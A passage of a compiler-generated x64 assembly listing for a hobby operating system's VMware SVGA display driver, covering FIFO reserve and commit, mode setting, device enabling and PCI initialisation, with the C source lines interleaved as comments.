mov eax, DWORD PTR next_cmd$[rsp]
mov ecx, DWORD PTR max$[rsp]
sub ecx, eax
mov eax, ecx
mov DWORD PTR tv84[rsp], eax
$LN15@svga_fifo_:
mov eax, DWORD PTR tv84[rsp]
mov DWORD PTR chunk_size$1[rsp], eax
; 276 : fifo[SVGA_FIFO_RESERVED] = bytes;
mov eax, 4
imul rax, 14
mov rcx, QWORD PTR fifo$[rsp]
mov edx, DWORD PTR bytes$[rsp]
mov DWORD PTR [rcx+rax], edx
; 277 : memcpy (next_cmd + (uint8_t*) fifo, buffer, chunk_size);
mov eax, DWORD PTR next_cmd$[rsp]
mov rcx, QWORD PTR fifo$[rsp]
add rcx, rax
mov rax, rcx
mov r8d, DWORD PTR chunk_size$1[rsp]
mov rdx, QWORD PTR buffer$2[rsp]
mov rcx, rax
call memcpy
; 278 : memcpy (min + (uint8_t*)fifo, buffer + chunk_size, bytes - chunk_size);
mov eax, DWORD PTR chunk_size$1[rsp]
mov ecx, DWORD PTR bytes$[rsp]
sub ecx, eax
mov eax, ecx
mov ecx, DWORD PTR chunk_size$1[rsp]
mov rdx, QWORD PTR buffer$2[rsp]
add rdx, rcx
mov rcx, rdx
mov edx, DWORD PTR min$[rsp]
mov r8, QWORD PTR fifo$[rsp]
add r8, rdx
mov rdx, r8
mov QWORD PTR tv130[rsp], rdx
mov r8d, eax
mov rdx, rcx
mov rax, QWORD PTR tv130[rsp]
mov rcx, rax
call memcpy
; 279 : } else {
jmp SHORT $LN8@svga_fifo_
$LN9@svga_fifo_:
; 280 : uint32_t *dword = (uint32_t*) buffer;
mov rax, QWORD PTR buffer$2[rsp]
mov QWORD PTR dword$3[rsp], rax
$LN7@svga_fifo_:
; 281 : while (bytes > 0) {
cmp DWORD PTR bytes$[rsp], 0
jbe SHORT $LN6@svga_fifo_
; 282 : fifo[next_cmd / sizeof *dword] = *dword++;
mov eax, DWORD PTR next_cmd$[rsp]
xor edx, edx
mov ecx, 4
div rcx
mov rcx, QWORD PTR fifo$[rsp]
mov rdx, QWORD PTR dword$3[rsp]
mov edx, DWORD PTR [rdx]
mov DWORD PTR [rcx+rax*4], edx
mov rax, QWORD PTR dword$3[rsp]
add rax, 4
mov QWORD PTR dword$3[rsp], rax
; 283 : next_cmd += sizeof *dword;
mov eax, DWORD PTR next_cmd$[rsp]
add rax, 4
mov DWORD PTR next_cmd$[rsp], eax
; 284 : if (next_cmd == max) {
mov eax, DWORD PTR max$[rsp]
cmp DWORD PTR next_cmd$[rsp], eax
jne SHORT $LN5@svga_fifo_
; 285 : next_cmd = min;
mov eax, DWORD PTR min$[rsp]
mov DWORD PTR next_cmd$[rsp], eax
$LN5@svga_fifo_:
; 286 : }
; 287 : fifo[SVGA_FIFO_NEXT_CMD] = next_cmd;
mov eax, 4
imul rax, 2
mov rcx, QWORD PTR fifo$[rsp]
mov edx, DWORD PTR next_cmd$[rsp]
mov DWORD PTR [rcx+rax], edx
; 288 : bytes -= sizeof *dword;
mov eax, DWORD PTR bytes$[rsp]
sub rax, 4
mov DWORD PTR bytes$[rsp], eax
; 289 : }
jmp SHORT $LN7@svga_fifo_
$LN6@svga_fifo_:
$LN8@svga_fifo_:
$LN10@svga_fifo_:
; 290 : }
; 291 : }
; 292 :
; 293 : if (!svga_dev.fifo.using_bounce_buffer || reserveable) {
movzx eax, BYTE PTR ?svga_dev@@3U_svga_drive_@@A+76
test eax, eax
je SHORT $LN3@svga_fifo_
movzx eax, BYTE PTR reserveable$[rsp]
test eax, eax
je SHORT $LN4@svga_fifo_
$LN3@svga_fifo_:
; 294 : next_cmd += bytes;
mov eax, DWORD PTR bytes$[rsp]
mov ecx, DWORD PTR next_cmd$[rsp]
add ecx, eax
mov eax, ecx
mov DWORD PTR next_cmd$[rsp], eax
; 295 : if (next_cmd >= max) {
mov eax, DWORD PTR max$[rsp]
cmp DWORD PTR next_cmd$[rsp], eax
jb SHORT $LN2@svga_fifo_
; 296 : next_cmd -= max - min;
mov eax, DWORD PTR min$[rsp]
mov ecx, DWORD PTR max$[rsp]
sub ecx, eax
mov eax, ecx
mov ecx, DWORD PTR next_cmd$[rsp]
sub ecx, eax
mov eax, ecx
mov DWORD PTR next_cmd$[rsp], eax
$LN2@svga_fifo_:
; 297 : }
; 298 : fifo[SVGA_FIFO_NEXT_CMD] = next_cmd;
mov eax, 4
imul rax, 2
mov rcx, QWORD PTR fifo$[rsp]
mov edx, DWORD PTR next_cmd$[rsp]
mov DWORD PTR [rcx+rax], edx
$LN4@svga_fifo_:
; 299 : }
; 300 :
; 301 : if (reserveable) {
movzx eax, BYTE PTR reserveable$[rsp]
test eax, eax
je SHORT $LN1@svga_fifo_
; 302 : fifo[SVGA_FIFO_RESERVED] = 0;
mov eax, 4
imul rax, 14
mov rcx, QWORD PTR fifo$[rsp]
mov DWORD PTR [rcx+rax], 0
$LN1@svga_fifo_:
; 303 : }
; 304 : //printf ("Fifo commited\n");
; 305 : }
add rsp, 104 ; 00000068H
ret 0
?svga_fifo_commit@@YAXI@Z ENDP ; svga_fifo_commit
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
reserve_in_place$1 = 32
need_bounce$2 = 33
reserveable$ = 34
next_cmd$ = 36
stop$3 = 40
max$ = 44
min$ = 48
fifo$ = 56
bytes$ = 80
?svga_fifo_reserve@@YAPEAXI@Z PROC ; svga_fifo_reserve
; 186 : void* svga_fifo_reserve (uint32_t bytes) {
$LN23:
mov DWORD PTR [rsp+8], ecx
sub rsp, 72 ; 00000048H
; 187 : debug_serial ("[Aurora]: Actual Fifo Reserve function called\n");
lea rcx, OFFSET FLAT:$SG5844
call ?debug_serial@@YAXPEAD@Z ; debug_serial
; 188 : volatile uint32_t *fifo = svga_dev.fifo_mem;
mov rax, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov QWORD PTR fifo$[rsp], rax
; 189 : uint32_t max = fifo[SVGA_FIFO_MAX];
mov eax, 4
imul rax, 1
mov rcx, QWORD PTR fifo$[rsp]
mov eax, DWORD PTR [rcx+rax]
mov DWORD PTR max$[rsp], eax
; 190 : uint32_t min = fifo[SVGA_FIFO_MIN];
mov eax, 4
imul rax, 0
mov rcx, QWORD PTR fifo$[rsp]
mov eax, DWORD PTR [rcx+rax]
mov DWORD PTR min$[rsp], eax
; 191 : uint32_t next_cmd = fifo[SVGA_FIFO_NEXT_CMD];
mov eax, 4
imul rax, 2
mov rcx, QWORD PTR fifo$[rsp]
mov eax, DWORD PTR [rcx+rax]
mov DWORD PTR next_cmd$[rsp], eax
; 192 : debug_serial ("[Aurora]: Fifo memory acquired\n");
lea rcx, OFFSET FLAT:$SG5849
call ?debug_serial@@YAXPEAD@Z ; debug_serial
; 193 : bool reserveable = svga_has_fifo_cap (SVGA_FIFO_CAP_RESERVE);
mov ecx, 64 ; 00000040H
call ?svga_has_fifo_cap@@YA_NH@Z ; svga_has_fifo_cap
mov BYTE PTR reserveable$[rsp], al
; 194 :
; 195 : if (bytes > sizeof (svga_dev.fifo.bounce_buffer)/* || bytes > (max - min)*/) {
mov eax, DWORD PTR bytes$[rsp]
cmp rax, 1048576 ; 00100000H
jbe SHORT $LN20@svga_fifo_
; 196 : debug_serial ("[VMware SVGA]: FIFO command too large bytes\n");
lea rcx, OFFSET FLAT:$SG5852
call ?debug_serial@@YAXPEAD@Z ; debug_serial
$LN20@svga_fifo_:
; 197 : //for(;;);
; 198 : }
; 199 :
; 200 : if (bytes % sizeof (uint32_t)) {
mov eax, DWORD PTR bytes$[rsp]
xor edx, edx
mov ecx, 4
div rcx
mov rax, rdx
test rax, rax
je SHORT $LN19@svga_fifo_
; 201 : debug_serial ("[VMware SVGA]: FIFO command length not 32-bit aligned\n");
lea rcx, OFFSET FLAT:$SG5855
call ?debug_serial@@YAXPEAD@Z ; debug_serial
$LN19@svga_fifo_:
; 202 : //for(;;);
; 203 : }
; 204 :
; 205 : if (svga_dev.fifo.reserved_size != 0) {
cmp DWORD PTR ?svga_dev@@3U_svga_drive_@@A+72, 0
je SHORT $LN18@svga_fifo_
; 206 : debug_serial ("[VMware SVGA]: FIFO reserve before FIFO commit\n");
lea rcx, OFFSET FLAT:$SG5857
call ?debug_serial@@YAXPEAD@Z ; debug_serial
$LN18@svga_fifo_:
; 207 : //for(;;);
; 208 : }
; 209 :
; 210 : svga_dev.fifo.reserved_size = bytes;
mov eax, DWORD PTR bytes$[rsp]
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+72, eax
$LN17@svga_fifo_:
; 211 :
; 212 : while (1) {
xor eax, eax
cmp eax, 1
je $LN16@svga_fifo_
; 213 : uint32_t stop = fifo[SVGA_FIFO_STOP];
mov eax, 4
imul rax, 3
mov rcx, QWORD PTR fifo$[rsp]
mov eax, DWORD PTR [rcx+rax]
mov DWORD PTR stop$3[rsp], eax
; 214 : bool reserve_in_place = false;
mov BYTE PTR reserve_in_place$1[rsp], 0
; 215 : bool need_bounce = false;
mov BYTE PTR need_bounce$2[rsp], 0
; 216 : debug_serial("[Aurora]: Stop -> %d\n");
lea rcx, OFFSET FLAT:$SG5864
call ?debug_serial@@YAXPEAD@Z ; debug_serial
; 217 : if (next_cmd >= stop) {
mov eax, DWORD PTR stop$3[rsp]
cmp DWORD PTR next_cmd$[rsp], eax
jb SHORT $LN15@svga_fifo_
; 218 : debug_serial ("[Aurora]: Debug Step[1]\n");
lea rcx, OFFSET FLAT:$SG5866
call ?debug_serial@@YAXPEAD@Z ; debug_serial
; 219 : if (next_cmd + bytes < max ||
; 220 : (next_cmd + bytes == max && stop > min)) {
mov eax, DWORD PTR bytes$[rsp]
mov ecx, DWORD PTR next_cmd$[rsp]
add ecx, eax
mov eax, ecx
cmp eax, DWORD PTR max$[rsp]
jb SHORT $LN13@svga_fifo_
mov eax, DWORD PTR bytes$[rsp]
mov ecx, DWORD PTR next_cmd$[rsp]
add ecx, eax
mov eax, ecx
cmp eax, DWORD PTR max$[rsp]
jne SHORT $LN14@svga_fifo_
mov eax, DWORD PTR min$[rsp]
cmp DWORD PTR stop$3[rsp], eax
jbe SHORT $LN14@svga_fifo_
$LN13@svga_fifo_:
; 221 : reserve_in_place = true;
mov BYTE PTR reserve_in_place$1[rsp], 1
jmp SHORT $LN12@svga_fifo_
$LN14@svga_fifo_:
; 222 : } else if ((max - next_cmd) + (stop - min) <= bytes) {
mov eax, DWORD PTR next_cmd$[rsp]
mov ecx, DWORD PTR max$[rsp]
sub ecx, eax
mov eax, ecx
mov ecx, DWORD PTR min$[rsp]
mov edx, DWORD PTR stop$3[rsp]
sub edx, ecx
mov ecx, edx
add eax, ecx
cmp eax, DWORD PTR bytes$[rsp]
ja SHORT $LN11@svga_fifo_
; 223 : svga_fifo_full ();
call ?svga_fifo_full@@YAXXZ ; svga_fifo_full
; 224 : } else {
jmp SHORT $LN10@svga_fifo_
$LN11@svga_fifo_:
; 225 : need_bounce = true;
mov BYTE PTR need_bounce$2[rsp], 1
$LN10@svga_fifo_:
$LN12@svga_fifo_:
; 226 : }
; 227 : }else {
jmp SHORT $LN9@svga_fifo_
$LN15@svga_fifo_:
; 228 : if (next_cmd + bytes < stop) {
mov eax, DWORD PTR bytes$[rsp]
mov ecx, DWORD PTR next_cmd$[rsp]
add ecx, eax
mov eax, ecx
cmp eax, DWORD PTR stop$3[rsp]
jae SHORT $LN8@svga_fifo_
; 229 : reserve_in_place = true;
mov BYTE PTR reserve_in_place$1[rsp], 1
; 230 : }else {
jmp SHORT $LN7@svga_fifo_
$LN8@svga_fifo_:
; 231 : svga_fifo_full ();
call ?svga_fifo_full@@YAXXZ ; svga_fifo_full
$LN7@svga_fifo_:
$LN9@svga_fifo_:
; 232 : }
; 233 : }
; 234 : if (reserve_in_place) {
movzx eax, BYTE PTR reserve_in_place$1[rsp]
test eax, eax
je SHORT $LN6@svga_fifo_
; 235 :
; 236 : if (reserveable || bytes <= sizeof (uint32_t)) {
movzx eax, BYTE PTR reserveable$[rsp]
test eax, eax
jne SHORT $LN4@svga_fifo_
mov eax, DWORD PTR bytes$[rsp]
cmp rax, 4
ja SHORT $LN5@svga_fifo_
$LN4@svga_fifo_:
; 237 : svga_dev.fifo.using_bounce_buffer = false;
mov BYTE PTR ?svga_dev@@3U_svga_drive_@@A+76, 0
; 238 : if (reserveable) {
movzx eax, BYTE PTR reserveable$[rsp]
test eax, eax
je SHORT $LN3@svga_fifo_
; 239 : fifo[SVGA_FIFO_RESERVED] = bytes;
mov eax, 4
imul rax, 14
mov rcx, QWORD PTR fifo$[rsp]
mov edx, DWORD PTR bytes$[rsp]
mov DWORD PTR [rcx+rax], edx
$LN3@svga_fifo_:
; 240 : }
; 241 : return next_cmd + (uint8_t*)fifo;
mov eax, DWORD PTR next_cmd$[rsp]
mov rcx, QWORD PTR fifo$[rsp]
add rcx, rax
mov rax, rcx
jmp SHORT $LN21@svga_fifo_
; 242 : }else {
jmp SHORT $LN2@svga_fifo_
$LN5@svga_fifo_:
; 243 : need_bounce = true;
mov BYTE PTR need_bounce$2[rsp], 1
$LN2@svga_fifo_:
$LN6@svga_fifo_:
; 244 : }
; 245 : }
; 246 : if (need_bounce) {
movzx eax, BYTE PTR need_bounce$2[rsp]
test eax, eax
je SHORT $LN1@svga_fifo_
; 247 : svga_dev.fifo.using_bounce_buffer = true;
mov BYTE PTR ?svga_dev@@3U_svga_drive_@@A+76, 1
; 248 : return svga_dev.fifo.bounce_buffer;
lea rax, OFFSET FLAT:?svga_dev@@3U_svga_drive_@@A+77
jmp SHORT $LN21@svga_fifo_
$LN1@svga_fifo_:
; 249 : }
; 250 : }
jmp $LN17@svga_fifo_
$LN16@svga_fifo_:
$LN21@svga_fifo_:
; 251 : }
add rsp, 72 ; 00000048H
ret 0
?svga_fifo_reserve@@YAPEAXI@Z ENDP ; svga_fifo_reserve
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
?svga_fifo_full@@YAXXZ PROC ; svga_fifo_full
; 338 : void svga_fifo_full () {
$LN5:
sub rsp, 40 ; 00000028H
; 339 : if (svga_is_fifo_reg_valid (SVGA_FIFO_FENCE_GOAL) &&
; 340 : (svga_dev.capabilities & SVGA_CAP_IRQMASK)) {
mov ecx, 289 ; 00000121H
call ?svga_is_fifo_reg_valid@@YA_NH@Z ; svga_is_fifo_reg_valid
movzx eax, al
test eax, eax
je SHORT $LN2@svga_fifo_
mov eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+48
and eax, 262144 ; 00040000H
test eax, eax
je SHORT $LN2@svga_fifo_
; 341 :
; 342 : svga_write_reg (SVGA_REG_IRQMASK, SVGA_IRQFLAG_FIFO_PROGRESS);
mov edx, 2
mov ecx, 33 ; 00000021H
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 343 : x64_cli();
call x64_cli
; 344 : svga_ring_doorbell ();
call ?svga_ring_doorbell@@YAXXZ ; svga_ring_doorbell
; 345 : svga_wait_for_irq();
call ?svga_wait_for_irq@@YAXXZ ; svga_wait_for_irq
; 346 : svga_write_reg (SVGA_REG_IRQMASK, 0);
xor edx, edx
mov ecx, 33 ; 00000021H
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 347 : x64_sti();
call x64_sti
; 348 : } else {
jmp SHORT $LN1@svga_fifo_
$LN2@svga_fifo_:
; 349 : svga_write_reg (SVGA_REG_SYNC, 1);
mov edx, 1
mov ecx, 21
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 350 : svga_read_reg (SVGA_REG_BUSY);
mov ecx, 22
call ?svga_read_reg@@YAII@Z ; svga_read_reg
$LN1@svga_fifo_:
; 351 : }
; 352 : }
add rsp, 40 ; 00000028H
ret 0
?svga_fifo_full@@YAXXZ ENDP ; svga_fifo_full
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
width$ = 48
height$ = 56
bpp$ = 64
?svga_set_mode@@YAXIII@Z PROC ; svga_set_mode
; 174 : void svga_set_mode (uint32_t width, uint32_t height, uint32_t bpp) {
$LN3:
mov DWORD PTR [rsp+24], r8d
mov DWORD PTR [rsp+16], edx
mov DWORD PTR [rsp+8], ecx
sub rsp, 40 ; 00000028H
; 175 : svga_dev.width = width;
mov eax, DWORD PTR width$[rsp]
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+52, eax
; 176 : svga_dev.height = height;
mov eax, DWORD PTR height$[rsp]
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+56, eax
; 177 : svga_dev.bpp = bpp;
mov eax, DWORD PTR bpp$[rsp]
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+60, eax
; 178 :
; 179 : svga_write_reg (SVGA_REG_WIDTH, width);
mov edx, DWORD PTR width$[rsp]
mov ecx, 2
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 180 : svga_write_reg (SVGA_REG_HEIGHT, height);
mov edx, DWORD PTR height$[rsp]
mov ecx, 3
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 181 : svga_write_reg (SVGA_REG_BITS_PER_PIXEL, bpp);
mov edx, DWORD PTR bpp$[rsp]
mov ecx, 7
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 182 : svga_write_reg (SVGA_REG_ENABLE, true);
mov edx, 1
mov ecx, 1
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 183 : svga_dev.pitch = svga_read_reg (SVGA_REG_BYTES_PER_LINE);
mov ecx, 12
call ?svga_read_reg@@YAII@Z ; svga_read_reg
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+64, eax
; 184 : }
add rsp, 40 ; 00000028H
ret 0
?svga_set_mode@@YAXIII@Z ENDP ; svga_set_mode
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
?svga_disable@@YAXXZ PROC ; svga_disable
; 165 : void svga_disable () {
$LN3:
sub rsp, 40 ; 00000028H
; 166 : svga_write_reg (SVGA_REG_ENABLE, false);
xor edx, edx
mov ecx, 1
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 167 : }
add rsp, 40 ; 00000028H
ret 0
?svga_disable@@YAXXZ ENDP ; svga_disable
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
?svga_enable@@YAXXZ PROC ; svga_enable
; 129 : void svga_enable () {
$LN8:
sub rsp, 40 ; 00000028H
; 130 :
; 131 : svga_dev.fifo_mem[SVGA_FIFO_MIN] = SVGA_FIFO_NUM_REGS * sizeof(uint32_t);
mov eax, 4
imul rax, 0
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov DWORD PTR [rcx+rax], 1164 ; 0000048cH
; 132 : svga_dev.fifo_mem[SVGA_FIFO_MAX] = svga_dev.fifo_size;
mov eax, 4
imul rax, 1
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov edx, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+32
mov DWORD PTR [rcx+rax], edx
; 133 : svga_dev.fifo_mem[SVGA_FIFO_NEXT_CMD] = svga_dev.fifo_mem[SVGA_FIFO_MIN];
mov eax, 4
imul rax, 0
mov ecx, 4
imul rcx, 2
mov rdx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov r8, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov eax, DWORD PTR [r8+rax]
mov DWORD PTR [rdx+rcx], eax
; 134 : svga_dev.fifo_mem[SVGA_FIFO_STOP] = svga_dev.fifo_mem[SVGA_FIFO_MIN];
mov eax, 4
imul rax, 0
mov ecx, 4
imul rcx, 3
mov rdx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov r8, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov eax, DWORD PTR [r8+rax]
mov DWORD PTR [rdx+rcx], eax
; 135 :
; 136 : if (svga_has_fifo_cap (SVGA_CAP_EXTENDED_FIFO) &&
; 137 : svga_is_fifo_reg_valid (SVGA_FIFO_GUEST_3D_HWVERSION)) {
mov ecx, 32768 ; 00008000H
call ?svga_has_fifo_cap@@YA_NH@Z ; svga_has_fifo_cap
movzx eax, al
test eax, eax
je SHORT $LN5@svga_enabl
mov ecx, 288 ; 00000120H
call ?svga_is_fifo_reg_valid@@YA_NH@Z ; svga_is_fifo_reg_valid
movzx eax, al
test eax, eax
je SHORT $LN5@svga_enabl
; 138 : svga_dev.fifo_mem[SVGA_FIFO_GUEST_3D_HWVERSION] = SVGA3D_HWVERSION_CURRENT;
mov eax, 4
imul rax, 288 ; 00000120H
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16
mov DWORD PTR [rcx+rax], 131073 ; 00020001H
; 139 : printf ("HW3D supported\n");
lea rcx, OFFSET FLAT:$SG5823
call ?printf@@YAXPEBDZZ ; printf
$LN5@svga_enabl:
; 140 : }
; 141 :
; 142 : //!Enable SVGA device and FIFO
; 143 : svga_write_reg (SVGA_REG_ENABLE, true);
mov edx, 1
mov ecx, 1
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 144 : svga_write_reg (SVGA_REG_CONFIG_DONE, true);
mov edx, 1
mov ecx, 20
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 145 :
; 146 : if (svga_dev.capabilities & SVGA_CAP_IRQMASK) {
mov eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+48
and eax, 262144 ; 00040000H
test eax, eax
je SHORT $LN4@svga_enabl
; 147 : svga_write_reg (SVGA_REG_IRQMASK, SVGA_IRQFLAG_ANY_FENCE);
mov edx, 1
mov ecx, 33 ; 00000021H
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 148 : printf ("SVGA IRQMask\n");
lea rcx, OFFSET FLAT:$SG5825
call ?printf@@YAXPEBDZZ ; printf
; 149 : svga_dev.irq.pending = 0;
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+1048660, 0
; 150 : svga_insert_fence ();
call ?svga_insert_fence@@YAIXZ ; svga_insert_fence
; 151 :
; 152 : svga_write_reg (SVGA_REG_SYNC, 1);
mov edx, 1
mov ecx, 21
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
$LN3@svga_enabl:
; 153 : while (svga_read_reg (SVGA_REG_BUSY) != false);
mov ecx, 22
call ?svga_read_reg@@YAII@Z ; svga_read_reg
test eax, eax
je SHORT $LN2@svga_enabl
jmp SHORT $LN3@svga_enabl
$LN2@svga_enabl:
; 154 :
; 155 : svga_write_reg (SVGA_REG_IRQMASK, 0);
xor edx, edx
mov ecx, 33 ; 00000021H
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 156 :
; 157 : if ((svga_dev.irq.pending & SVGA_IRQFLAG_ANY_FENCE) == 0) {
mov eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+1048660
and eax, 1
test eax, eax
jne SHORT $LN1@svga_enabl
; 158 : printf ("SVGA IRQ appears to be present but broken %d\n", svga_dev.irq.pending);
mov edx, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+1048660
lea rcx, OFFSET FLAT:$SG5830
call ?printf@@YAXPEBDZZ ; printf
$LN1@svga_enabl:
$LN4@svga_enabl:
; 159 : }
; 160 : }
; 161 :
; 162 : }
add rsp, 40 ; 00000028H
ret 0
?svga_enable@@YAXXZ ENDP ; svga_enable
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\drivers\svga\vmsvga.cpp
_TEXT SEGMENT
irq$1 = 48
tv82 = 52
mask$ = 56
tv174 = 60
func$ = 64
dev$ = 68
bus$ = 72
?svga_init@@YAXXZ PROC ; svga_init
; 51 : void svga_init () {
$LN16:
sub rsp, 88 ; 00000058H
; 52 : svga_dev.pci_addr = (pci_device_info*)pmmngr_alloc();
call ?pmmngr_alloc@@YAPEAXXZ ; pmmngr_alloc
mov QWORD PTR ?svga_dev@@3U_svga_drive_@@A, rax
; 53 : int bus, dev, func;
; 54 : if (!pci_find_device_class (0x03, 0x00, svga_dev.pci_addr, &bus, &dev, &func)) {
lea rax, QWORD PTR func$[rsp]
mov QWORD PTR [rsp+40], rax
lea rax, QWORD PTR dev$[rsp]
mov QWORD PTR [rsp+32], rax
lea r9, QWORD PTR bus$[rsp]
mov r8, QWORD PTR ?svga_dev@@3U_svga_drive_@@A
xor edx, edx
mov cl, 3
call ?pci_find_device_class@@YA_NEEPEATpci_device_info@@PEAH11@Z ; pci_find_device_class
movzx eax, al
test eax, eax
jne SHORT $LN11@svga_init
; 55 : printf ("No VMware SVGA device found\n");
lea rcx, OFFSET FLAT:$SG5799
call ?printf@@YAXPEBDZZ ; printf
; 56 : return;
jmp $LN12@svga_init
$LN11@svga_init:
; 57 : }
; 58 :
; 59 : //for I/O base
; 60 : uint32_t mask = (svga_dev.pci_addr->device.nonBridge.baseAddress[0] & PCI_CONF_BAR_IO) ? 0x3 : 0xf;
mov eax, 4
imul rax, 0
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A
mov eax, DWORD PTR [rcx+rax+16]
and eax, 1
test eax, eax
je SHORT $LN14@svga_init
mov DWORD PTR tv82[rsp], 3
jmp SHORT $LN15@svga_init
$LN14@svga_init:
mov DWORD PTR tv82[rsp], 15
$LN15@svga_init:
mov eax, DWORD PTR tv82[rsp]
mov DWORD PTR mask$[rsp], eax
; 61 :
; 62 : //bar & ~mask;
; 63 : svga_dev.io_base = svga_dev.pci_addr->device.nonBridge.baseAddress[0] & ~mask; //pci_get_bar_addr (&svga_dev.pci_addr,0);
mov eax, 4
imul rax, 0
mov ecx, DWORD PTR mask$[rsp]
not ecx
mov rdx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A
mov eax, DWORD PTR [rdx+rax+16]
and eax, ecx
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+8, eax
; 64 : svga_dev.fb_mem = (uint8_t*)(svga_dev.pci_addr->device.nonBridge.baseAddress[1] & ~0xf); //(uint8_t*)pci_get_bar_addr (&svga_dev.pci_addr, 1);
mov eax, 4
imul rax, 1
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A
mov eax, DWORD PTR [rcx+rax+16]
and eax, -16 ; fffffff0H
mov eax, eax
mov QWORD PTR ?svga_dev@@3U_svga_drive_@@A+24, rax
; 65 : svga_dev.fifo_mem = (uint32_t*)(svga_dev.pci_addr->device.nonBridge.baseAddress[2] & ~0xf); //(uint32_t*)pci_get_bar_addr (&svga_dev.pci_addr, 2);
mov eax, 4
imul rax, 2
mov rcx, QWORD PTR ?svga_dev@@3U_svga_drive_@@A
mov eax, DWORD PTR [rcx+rax+16]
and eax, -16 ; fffffff0H
mov eax, eax
mov QWORD PTR ?svga_dev@@3U_svga_drive_@@A+16, rax
; 66 :
; 67 :
; 68 : svga_dev.device_version_id = SVGA_ID_2;
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+44, -1879048190 ; 90000002H
$LN10@svga_init:
; 69 : do {
; 70 : svga_write_reg (SVGA_REG_ID, svga_dev.device_version_id);
mov edx, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+44
xor ecx, ecx
call ?svga_write_reg@@YAXII@Z ; svga_write_reg
; 71 : if (svga_read_reg (SVGA_REG_ID) == svga_dev.device_version_id) {
xor ecx, ecx
call ?svga_read_reg@@YAII@Z ; svga_read_reg
cmp eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+44
jne SHORT $LN7@svga_init
; 72 : break;
jmp SHORT $LN8@svga_init
; 73 : }else {
jmp SHORT $LN6@svga_init
$LN7@svga_init:
; 74 : svga_dev.device_version_id--;
mov eax, DWORD PTR ?svga_dev@@3U_svga_drive_@@A+44
dec eax
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+44, eax
$LN6@svga_init:
; 75 : }
; 76 : }while (svga_dev.device_version_id >= SVGA_ID_0);
cmp DWORD PTR ?svga_dev@@3U_svga_drive_@@A+44, -1879048192 ; 90000000H
jae SHORT $LN10@svga_init
$LN8@svga_init:
; 77 :
; 78 : if (svga_dev.device_version_id < SVGA_ID_0) {
cmp DWORD PTR ?svga_dev@@3U_svga_drive_@@A+44, -1879048192 ; 90000000H
jae SHORT $LN5@svga_init
; 79 : printf ("[VMware SVGA]: negotiating SVGA device version!\n");
lea rcx, OFFSET FLAT:$SG5809
call ?printf@@YAXPEBDZZ ; printf
$LN5@svga_init:
; 80 : }
; 81 :
; 82 : svga_dev.vram_size = svga_read_reg (SVGA_REG_VRAM_SIZE);
mov ecx, 15
call ?svga_read_reg@@YAII@Z ; svga_read_reg
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+40, eax
; 83 : svga_dev.fb_size = svga_read_reg (SVGA_REG_FB_SIZE);
mov ecx, 16
call ?svga_read_reg@@YAII@Z ; svga_read_reg
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+36, eax
; 84 : svga_dev.fifo_size = svga_read_reg (SVGA_REG_MEM_SIZE);
mov ecx, 19
call ?svga_read_reg@@YAII@Z ; svga_read_reg
mov DWORD PTR ?svga_dev@@3U_svga_drive_@@A+32, eax
; 85 : //! sanity check the fifo and framebuffer sizes
; 86 : if (svga_dev.fb_size < 0x100000) {
cmp DWORD PTR ?svga_dev@@3U_svga_drive_@@A+36, 1048576 ; 00100000H
jae SHORT $LN4@svga_init
; 87 : printf ("[VMware SVGA]: FrameBuffer size is very small, probably incorrect\n");
